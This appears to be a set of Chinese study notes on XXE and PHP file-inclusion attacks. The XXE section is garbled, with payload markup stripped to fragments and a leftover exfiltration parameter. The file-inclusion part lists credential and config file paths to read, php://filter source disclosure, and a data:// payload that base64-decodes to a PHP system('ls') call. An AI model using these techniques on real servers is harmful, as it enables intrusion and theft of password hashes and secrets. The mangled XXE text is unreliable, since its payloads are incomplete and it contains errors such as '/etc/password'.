0%


title:XXE漏洞

1.攻击脚本

]>

&xxe;

%dtd;

]>

**注意实体引用后标上‘;’!!!**当引用一个实体时,分号表示实体引用的结束

“>

2.外部实体

“>
%all;
%send;

参数实体all的嵌套:

参数实体%file%send 的声明在同一 DTD 声明块中,属于同一层级。但XML 解析不会解析同一层级的参数

为什么要引用外部实体

在 DTD 的内部子集中,有一个规则限制,即不允许在标记声明里引用参数实体(PEReferences forbidden in internal subset in Entity)

&#x25

在 DTD 中,%号是参数实体的起始标志,有特殊用途。当在特定 DTD 声明语句中直接使用%号时,解析器会将其按参数实体引用的语法规则处理。但如果该%号所处位置或上下文不符合参数实体引用的规范,解析器就无法正确解析,从而报错get.php?file=%file;’>”>


title:文件包含漏洞

利用include()、require()、include_once()、require_once()和allow_url_include,allow_url_fopen,传入路径参数,任意读取

敏感路径:

Windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

PHP伪协议:

php://filter/read=convert.base64-encode/resource=index.php
对包含的PHP文件进行base64编码,include函数就不会执行代码,而是显示在页面上

php://input 是一个只读的数据流,允许你以原始的形式访问 POST 请求中发送的数据。它绕过了传统的 $_POST 数组解析机制,因此对于处理非标准的或自定义编码的 POST 数据非常有用
$_POST 的比较

比较项 php://input $_POST
数据编码支持 支持任何编码的 POST 数据 仅支持 application/x-www-form-urlencodedmultipart/form-data 编码的数据
数据解析 提供原始的 POST 数据,需要手动解析 自动解析 POST 数据,存储在关联数组中
内存使用 按需读取数据,节省内存 一次性解析所有数据,可能消耗大量内存

data://[;base64], 例:data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
封装协议,允许在URL中直接嵌入数据。这种协议可以与文件系统函数(如fopen()copy()file_exists()filesize())一起使用